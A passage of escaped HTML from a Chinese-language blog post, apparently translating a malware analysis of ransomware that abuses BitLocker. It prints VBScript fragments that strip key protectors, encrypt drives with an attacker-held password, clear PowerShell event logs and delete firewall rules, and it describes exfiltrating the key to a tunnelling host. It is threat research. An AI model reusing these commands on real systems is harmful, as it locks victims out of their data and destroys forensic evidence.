href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22153756\/Bitlocker_abuse_09.png\"><\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"190\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-40-1024x190.png\" alt=\"\" class=\"wp-image-3972\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-40-1024x190.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-40-300x56.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-40-768x143.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-40.png 1416w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p id=\"caption-attachment-112653\">\u9a71\u52a8\u5668\u6807\u7b7e\u4fee\u6539<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"780\" height=\"123\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-41.png\" alt=\"\" class=\"wp-image-3973\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-41.png 780w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-41-300x47.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-41-768x121.png 768w\" sizes=\"auto, (max-width: 780px) 100vw, 780px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22153820\/Bitlocker_abuse_10.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112654\">\u653b\u51fb\u8005\u7684\u7535\u5b50\u90ae\u4ef6\u4f5c\u4e3a\u9a71\u52a8\u5668\u6807\u7b7e<\/p>\n\n\n\n<p>\u4e4b\u540e\uff0c\u6076\u610f\u8f6f\u4ef6\u4f1a\u7981\u7528\u7528\u4e8e\u4fdd\u62a4 BitLocker \u52a0\u5bc6\u5bc6\u94a5\u7684\u4fdd\u62a4\u7a0b\u5e8f\u5e76\u5c06\u5176\u5220\u9664\u3002\u5220\u9664\u65b9\u6cd5\u53ef\u80fd\u56e0\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\u800c\u5f02\u3002\u5728 Windows Server 2008 \u6216 Windows 7 \u65b9\u6848\u4e2d\uff0c\u8fd9\u662f\u901a\u8fc7 VBS \u529f\u80fd\u5b8c\u6210\u7684\uff0c\u4e4b\u540e\u811a\u672c\u4f7f\u7528 PowerShell \u5f3a\u5236\u5220\u9664\u4fdd\u62a4\u7a0b\u5e8f\u3002<\/p>\n\n\n\n<p>\u5b8c\u6210\u5220\u9664\u540e\uff0c\u5b83\u5141\u8bb8\u4f7f\u7528\u6570\u5b57\u5bc6\u7801\u4f5c\u4e3a\u4fdd\u62a4\u5668\u548c\u52a0\u5bc6\u529f\u80fd\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"470\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-42-1024x470.png\" alt=\"\" class=\"wp-image-3974\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-42-1024x470.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-42-300x138.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-42-768x352.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-42.png 1495w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22153858\/Bitlocker_abuse_11.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112655\">\u4fdd\u62a4\u7a0b\u5e8f\u5220\u9664<\/p>\n\n\n\n<p>\u5220\u9664\u9ed8\u8ba4\u4fdd\u62a4\u7a0b\u5e8f\u7684\u539f\u56e0\u662f\u4e3a\u4e86\u907f\u514d\u7528\u6237\u6062\u590d\u5bc6\u94a5\uff0c\u5982\u4e0b\u4f8b\u6240\u793a\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"678\" height=\"320\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-43.png\" alt=\"\" class=\"wp-image-3975\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-43.png 678w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-43-300x142.png 300w\" sizes=\"auto, (max-width: 678px) 100vw, 678px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22153931\/Bitlocker_abuse_12.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112656\">BitLocker \u5bc6\u94a5\u7684\u6062\u590d<\/p>\n\n\n\n<p>\u4e0b\u4e00\u6b65\uff0c\u6076\u610f\u8f6f\u4ef6\u4f7f\u7528\u4ee5\u4e0b\u5143\u7d20\u7684\u968f\u673a\u4e58\u6cd5\u548c\u66ff\u6362\u751f\u6210 64 \u4e2a\u5b57\u7b26\u7684\u52a0\u5bc6\u5bc6\u94a5\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u6570\u5b57\u4e3a 0\u20139 \u7684\u53d8\u91cf;<\/li>\n\n\n\n<li>\u8457\u540d\u7684 pangram\uff0c\u201c\u5feb\u901f\u7684\u68d5\u8272\u72d0\u72f8\u8df3\u8fc7\u61d2\u60f0\u7684\u72d7\u201d\uff0c\u5c0f\u5199\u548c\u5927\u5199\uff0c\u5176\u4e2d\u5305\u542b\u82f1\u6587\u5b57\u6bcd\u8868\u7684\u6bcf\u4e2a\u5b57\u6bcd;<\/li>\n\n\n\n<li>\u7279\u6b8a\u5b57\u7b26\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u6b64\u5bc6\u7801\u7684\u968f\u673a\u6027\u662f\u7531\u53d7\u5f71\u54cd\u7cfb\u7edf\u7684\u5404\u79cd\u5143\u7d20\uff08\u4f8b\u5982\u4f7f\u7528\u7684\u5185\u5b58\u548c\u7f51\u7edc\u7edf\u8ba1\u4fe1\u606f\uff09\u7ec4\u6210\u7684\u79cd\u5b50\u5b8c\u6210\u7684\u3002\u7a0d\u540e\uff0c\u6b64\u4fe1\u606f\u5c06\u53d1\u9001\u7ed9\u653b\u51fb\u8005\u3002\u6211\u4eec\u5728\u73af\u5883\u4e2d\u6d4b\u8bd5\u4e86\u5bc6\u94a5\u751f\u6210\u903b\u8f91\uff0c\u53ea\u9700\u5bf9\u811a\u672c\u7a0d\u4f5c\u4fee\u6539\uff0c\u5c31\u80fd\u591f\u770b\u5230\u751f\u6210\u7684\u5bc6\u7801\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"250\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-44-1024x250.png\" alt=\"\" class=\"wp-image-3976\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-44-1024x250.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-44-300x73.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-44-768x188.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-44.png 1321w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154021\/Bitlocker_abuse_13.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112657\">\u5bc6\u94a5\u751f\u6210\u8fc7\u7a0b<\/p>\n\n\n\n<p>\u7136\u540e\uff0c\u8be5\u4ee3\u7801\u5c06\u4ee5\u524d\u751f\u6210\u7684\u52a0\u5bc6\u5bc6\u94a5\u8f6c\u6362\u4e3a\u5b89\u5168\u5b57\u7b26\u4e32\uff08\u4e00\u4e2a PowerShell \u9009\u9879\uff0c\u53ef\u9632\u6b62\u5728\u5185\u5b58\u4e2d\u521b\u5efa\u5b57\u7b26\u4e32\u5bf9\u8c61\uff09\uff0c\u5e76\u6709\u6548\u5730\u5728\u9a71\u52a8\u5668\u4e0a\u542f\u7528 BitLocker\u3002<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:ps decode:true \" >If Len((CreateObject(\"WScript.Shell\").Exec(\"powershell.exe -Command \"\"$protectors = (Get-BitLockerVolume -MountPoint \" &amp; drives(i) &amp; \").KeyProtector; if ($protectors -ne $null) { foreach ($protector in $protectors) { Remove-BitLockerKeyProtector -MountPoint \" &amp; drives(i) &amp; \" -KeyProtectorId $protector.KeyProtectorId } }\"\"\")).stdout.readall) &gt; 0 Then: End If\n\nIf Len((CreateObject(\"WScript.Shell\").Exec(\"powershell.exe -Command $a=ConvertTo-SecureString \" &amp; Chr(34)  &amp; Chr(39) &amp; strRandom &amp; Chr(39)  &amp; Chr(34) &amp; \" -asplaintext -force;Enable-BitLocker \" &amp; drives(i) &amp; \" -s -qe -pwp -pw $a\")).stdout.readall) &gt; 0 Then: End If\n\nIf Len((CreateObject(\"WScript.Shell\").Exec(\"powershell.exe -Command Resume-BitLocker -MountPoint \" &amp; drives(i) &amp; \" \")).stdout.readall) &gt; 0 Then: End If<\/pre><\/div>\n\n\n\n<p>\u7136\u540e\uff0c\u8be5\u811a\u672c\u4f7f\u7528\u4ee5\u4e0b\u9009\u9879\u521b\u5efa HTTP POST \u8bf7\u6c42\u5bf9\u8c61\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528 WinHTTP \u7248\u672c 5.1\u3002<\/li>\n\n\n\n<li>\u63a5\u53d7\u6cd5\u8bed\u3002<\/li>\n\n\n\n<li>\u5ffd\u7565 SSL \u9519\u8bef \uff08httpRequest.Option\uff084\uff09 = 13056 \u00e0 WinHttpRequestOption_SslErrorIgnoreFlags\uff09\u3002<\/li>\n\n\n\n<li>\u7981\u7528\u91cd\u5b9a\u5411 \uff08httpRequest.Option\uff086\uff09 = false \u00e0 WinHttpRequestOption_EnableRedirects\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<p>\u653b\u51fb\u8005\u4f7f\u7528\u57df trycloudflare.com \u6765\u6df7\u6dc6\u4ed6\u4eec\u7684\u771f\u5b9e\u5730\u5740\u3002\u8fd9\u4e2a\u57df\u662f\u5408\u6cd5\u7684\uff0c\u5b83\u5c5e\u4e8eCloudFlare\uff0c\u7528\u4e8e\u4e3a\u5f00\u53d1\u4eba\u5458\u63d0\u4f9b\u5feb\u901f\u96a7\u9053\u3002\u653b\u51fb\u8005\u914d\u7f6e\u7684\u5b50\u57df\u662f scottish-agreement-laundry-further\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"181\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-45-1024x181.png\" alt=\"\" class=\"wp-image-3977\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-45-1024x181.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-45-300x53.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-45-768x136.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-45.png 1186w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154155\/Bitlocker_abuse_14.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112658\">\u521b\u5efa\u8bf7\u6c42<\/p>\n\n\n\n<p>\u8be5\u6076\u610f\u8f6f\u4ef6\u8fd8\u5305\u62ec\u6709\u5173\u8ba1\u7b97\u673a\u548c\u751f\u6210\u7684\u5bc6\u7801\u7684\u4fe1\u606f\uff0c\u4f5c\u4e3a POST \u8bf7\u6c42\u7684\u6709\u6548\u8d1f\u8f7d\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"903\" height=\"71\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-46.png\" alt=\"\" class=\"wp-image-3978\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-46.png 903w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-46-300x24.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-46-768x60.png 768w\" sizes=\"auto, (max-width: 903px) 100vw, 903px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154226\/Bitlocker_abuse_15.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112659\">\u5728 POST \u8bf7\u6c42\u4e2d\u53d1\u9001\u7684\u4fe1\u606f<\/p>\n\n\n\n<p>\u8be5\u811a\u672c\u8fd8\u5305\u542b\u4e00\u4e2a\u5faa\u73af\uff0c\u5982\u679c\u53d1\u751f\u9519\u8bef\uff0c\u8be5\u5faa\u73af\u4f1a\u5c1d\u8bd5\u5c06\u4fe1\u606f\u53d1\u9001\u7ed9\u653b\u51fb\u8005\u4e94\u6b21\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154259\/Bitlocker_abuse_16.png\"><\/a><\/p>\n\n\n\n<p>\u901a\u8fc7\u4e00\u4e9b\u8c03\u6574\uff0c\u6211\u4eec\u80fd\u591f\u6253\u5370\u53d1\u9001\u7ed9\u653b\u51fb\u8005\u7684\u6570\u636e\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002\u8bf7\u6ce8\u610f\uff0c\u6570\u636e\u5305\u62ec\u8ba1\u7b97\u673a\u540d\u79f0\u3001Windows \u7248\u672c\u3001\u53d7\u5f71\u54cd\u7684\u9a71\u52a8\u5668\u548c\u5bc6\u7801\u5b57\u7b26\u4e32\u3002\u56e0\u6b64\uff0c\u53d7\u5bb3\u8005\u7684 IP \u5730\u5740\u4e5f\u5c06\u8bb0\u5f55\u5728\u653b\u51fb\u8005\u7684\u670d\u52a1\u5668\u4e0a\uff0c\u5141\u8bb8\u4ed6\u4eec\u8ddf\u8e2a\u6bcf\u4e2a\u53d7\u5bb3\u8005\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"832\" height=\"307\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-47.png\" alt=\"\" class=\"wp-image-3979\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-47.png 832w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-47-300x111.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-47-768x283.png 768w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/figure>\n\n\n\n<p id=\"caption-attachment-112660\">\u91cd\u8bd5\u8fc7\u7a0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"958\" height=\"191\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-48.png\" alt=\"\" class=\"wp-image-3980\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-48.png 958w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-48-300x60.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-48-768x153.png 768w\" sizes=\"auto, (max-width: 958px) 100vw, 958px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154327\/Bitlocker_abuse_17.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112661\">\u8981\u53d1\u9001\u7684\u4fe1\u606f<\/p>\n\n\n\n<p>\u5220\u9664 BitLocker \u4fdd\u62a4\u7a0b\u5e8f\u5e76\u914d\u7f6e\u9a71\u52a8\u5668\u52a0\u5bc6\u540e\uff0c\u811a\u672c\u5c06\u6267\u884c\u4ee5\u4e0b\u6b65\u9aa4\u6765\u8986\u76d6\u5176\u8ddf\u8e2a\u3002<\/p>\n\n\n\n<p>\u5b83\u9a8c\u8bc1\u4e3b\u673a\u540d\u662f\u5426\u662f\u6b64\u6076\u610f\u8f6f\u4ef6\u7684\u76ee\u6807\uff0c\u7136\u540e\u5220\u9664\u6587\u4ef6\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml<\/li>\n\n\n\n<li>\\scripts\\Login.vbs<\/li>\n\n\n\n<li>\\scripts\\Disk.vbs<\/li>\n\n\n\n<li>C\uff1a\\ProgramData\\Microsoft\\Windows\\Templates\\Disk.vbs<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"121\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-49-1024x121.png\" alt=\"\" class=\"wp-image-3981\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-49-1024x121.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-49-300x36.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-49-768x91.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-49.png 1375w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154405\/Bitlocker_abuse_18.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112662\">\u5220\u9664\u64cd\u4f5c<\/p>\n\n\n\n<p>\u7136\u540e\uff0c\u8be5\u811a\u672c\u4f7f\u7528\u00a0<strong>wevtutil<\/strong>\u00a0\u6e05\u9664 Windows PowerShell \u548c Microsoft-Windows-PowerShell\/\u64cd\u4f5c\u65e5\u5fd7\u3002\u5b83\u4f1a\u6253\u5f00\u7cfb\u7edf\u9632\u706b\u5899\u5e76\u5220\u9664\u5176\u6240\u6709\u89c4\u5219\u3002\u5b83\u8fd8\u4f1a\u5220\u9664\u4efb\u52a1\u00a0<strong>VolumeInit<\/strong>\u00a0\u548c\u00a0<strong>VolumeCheck<\/strong>\u3002\u6700\u540e\uff0c\u6076\u610f\u8f6f\u4ef6\u6267\u884c\u5f3a\u5236\u5173\u673a\u3002<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:ps decode:true \" >If Len((CreateObject(\"WScript.Shell\").Exec(\"wevtutil cl \"\"Windows PowerShell\"\"\")).stdout.readall) &gt; 0 Then: End If\nIf Len((CreateObject(\"WScript.Shell\").Exec(\"wevtutil cl \"\"Microsoft-Windows-PowerShell\/Operational\"\"\")).stdout.readall) &gt; 0 Then: End If\nIf Len((CreateObject(\"WScript.Shell\").Exec(\"netsh advfirewall set allprofiles state on\")).stdout.readall) &gt; 0 Then: End If\nIf Len((CreateObject(\"WScript.Shell\").Exec(\"netsh advfirewall firewall delet rule name=all\")).stdout.readall) &gt; 0 Then: End If\nIf Len((CreateObject(\"WScript.Shell\").Exec(\"schtasks \/Delete \/TN \"\"VolumeInit\"\" \/F\")).stdout.readall) &gt; 0 Then: End If\nIf Len((CreateObject(\"WScript.Shell\").Exec(\"schtasks \/Delete \/TN \"\"VolumeCheck\"\" \/F\")).stdout.readall) &gt; 0 Then: End If<\/pre><\/div>\n\n\n\n<p>\u5173\u673a\u540e\uff0c\u53d7\u5bb3\u8005\u5c06\u770b\u5230 BitLocker \u5c4f\u5e55\u3002\u5982\u679c\u7528\u6237\u5c1d\u8bd5\u4f7f\u7528\u6062\u590d\u9009\u9879\uff0c\u4ed6\u4eec\u5c06\u53ea\u770b\u5230\u6d88\u606f\u201c\u7535\u8111\u4e0a\u6ca1\u6709\u66f4\u591a\u7684 BitLocker \u6062\u590d\u9009\u9879\u201d\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"884\" height=\"645\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-50.png\" alt=\"\" class=\"wp-image-3982\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-50.png 884w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-50-300x219.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-50-768x560.png 768w\" sizes=\"auto, (max-width: 884px) 100vw, 884px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154517\/Bitlocker_abuse_19.png\"><\/a><\/p>\n\n\n\n<p id=\"caption-attachment-112663\">BitLocker \u6062\u590d\u5c4f\u5e55<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"tactics-techniques-and-procedures\">\u6218\u672f\u3001\u6280\u672f\u548c\u7a0b\u5e8f<\/h2>\n\n\n\n<p>\u5206\u6790\u8868\u660e\uff0c\u6b64\u5a01\u80c1\u53c2\u4e0e\u8005\u5bf9 VBScript \u8bed\u8a00\u4ee5\u53ca Windows \u5185\u90e8\u548c\u5b9e\u7528\u7a0b\u5e8f\uff08\u5982 WMI\u3001diskpart \u548c bcdboot\uff09\u6709\u5e7f\u6cdb\u7684\u4e86\u89e3\u3002\u4ee5\u4e0b\u662f\u4e3a\u6b64\u65b9\u6848\u786e\u5b9a\u7684 TTP\u3002<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>\u7b56\u7565<\/strong><\/td><td><strong>\u6280\u672f<\/strong><\/td><td><strong>\u7f16\u53f7<\/strong><\/td><\/tr><tr><td>\u6267\u884c<\/td><td>\u547d\u4ee4\u548c\u811a\u672c\u89e3\u91ca\u5668\uff1aVisual Basic<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1059\/005\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u7f16\u53f7\uff1aT1059.005<\/a><\/td><\/tr><tr><td>\u6267\u884c<\/td><td>Windows Management Instrumentation<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1047\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u7f16\u53f7\uff1aT1047<\/a><\/td><\/tr><tr><td>\u6267\u884c<\/td><td>\u547d\u4ee4\u548c\u811a\u672c\u89e3\u91ca\u5668\uff1aPowerShell<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1059\/001\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u7f16\u53f7\uff1aT1059.001<\/a><\/td><\/tr><tr><td>\u51b2\u51fb<\/td><td>\u6570\u636e\u52a0\u5bc6\u4ee5\u4ea7\u751f\u5f71\u54cd<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1486\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u7f16\u53f7\uff1aT1486<\/a><\/td><\/tr><tr><td>\u51b2\u51fb<\/td><td>\u7cfb\u7edf\u5173\u673a\/\u91cd\u542f<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1529\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u7f16\u53f7\uff1aT1529<\/a><\/td><\/tr><tr><td>\u9632\u5fa1\u89c4\u907f<\/td><td>\u6e05\u9664 Windows \u4e8b\u4ef6\u65e5\u5fd7<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1070\/001\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u8d27\u53f7 T1070.001<\/a><\/td><\/tr><tr><td>\u9632\u5fa1\u89c4\u907f<\/td><td>\u4fee\u6539\u6ce8\u518c\u8868<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1112\/\" target=\"_blank\" rel=\"noreferrer noopener\">T1112\u578b<\/a><\/td><\/tr><tr><td>\u9632\u5fa1\u89c4\u907f<\/td><td>\u7981\u7528\u6216\u4fee\u6539\u7cfb\u7edf\u9632\u706b\u5899<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1562\/004\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u7f16\u53f7\uff1aT1562.004<\/a><\/td><\/tr><tr><td>\u5916\u6cc4<\/td><td>\u901a\u8fc7 Web \u670d\u52a1\u5916\u6cc4<\/td><td><a href=\"https:\/\/attack.mitre.org\/techniques\/T1041\/\" target=\"_blank\" rel=\"noreferrer noopener\">\u7f16\u53f7\uff1aT1041<\/a><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"artifacts-and-digital-forensics\">\u6587\u7269\u548c\u6570\u5b57\u53d6\u8bc1<\/h2>\n\n\n\n<p>\u7531\u4e8e\u811a\u672c\u6267\u884c\u7684\u672c\u5730\u6d3b\u52a8\u5305\u62ec\u6e05\u7406\u5176\u8ddf\u8e2a\u3001\u6e05\u9664\u4e00\u4e9b\u65e5\u5fd7\u548c\u4e3a\u6267\u884c\u800c\u521b\u5efa\u7684\u4efb\u52a1\uff0c\u6700\u540e\u52a0\u5bc6\u6574\u4e2a\u9a71\u52a8\u5668\uff0c\u56e0\u6b64\u83b7\u53d6\u53d6\u8bc1\u5de5\u4ef6\u4ee5\u8bc6\u522b\u6076\u610f\u6d3b\u52a8\u5e76\u627e\u5230\u89e3\u5bc6\u673a\u4f1a\u5e76\u4e0d\u5bb9\u6613\u3002<\/p>\n\n\n\n<p>\u5e78\u8fd0\u7684\u662f\uff0c\u4e00\u4e9b\u811a\u672c\u5185\u5bb9\u548c\u6267\u884c\u7684\u547d\u4ee4\u662f\u7531\u7b2c\u4e09\u65b9\u670d\u52a1\u6ce8\u518c\u548c\u8bb0\u5f55\u7684\uff0c\u5e76\u6536\u96c6\u8fd9\u4e9b\u5185\u5bb9\u548c\u547d\u4ee4\u8fdb\u884c\u5206\u6790\u3002\u8fd9\u4f7f\u6211\u4eec\u80fd\u591f\u4ece\u67d0\u4e9b\u53d7\u5f71\u54cd\u7684\u7cfb\u7edf\u4e2d\u83b7\u53d6\u52a0\u5bc6\u5bc6\u94a5\u8f6c\u6362\u4e3a\u7684\u5b89\u5168\u5b57\u7b26\u4e32\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"126\" src=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-51-1024x126.png\" alt=\"\" class=\"wp-image-3983\" srcset=\"https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-51-1024x126.png 1024w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-51-300x37.png 300w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-51-768x95.png 768w, https:\/\/www.aqwu.net\/wp\/wp-content\/uploads\/2024\/05\/\u56fe\u7247-51.png 1536w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><a href=\"https:\/\/media.kasperskycontenthub.com\/wp-content\/uploads\/sites\/43\/2024\/05\/22154735\/Bitlocker_abuse_20.png\"><\/a><\/p>\n\n\n\n<p 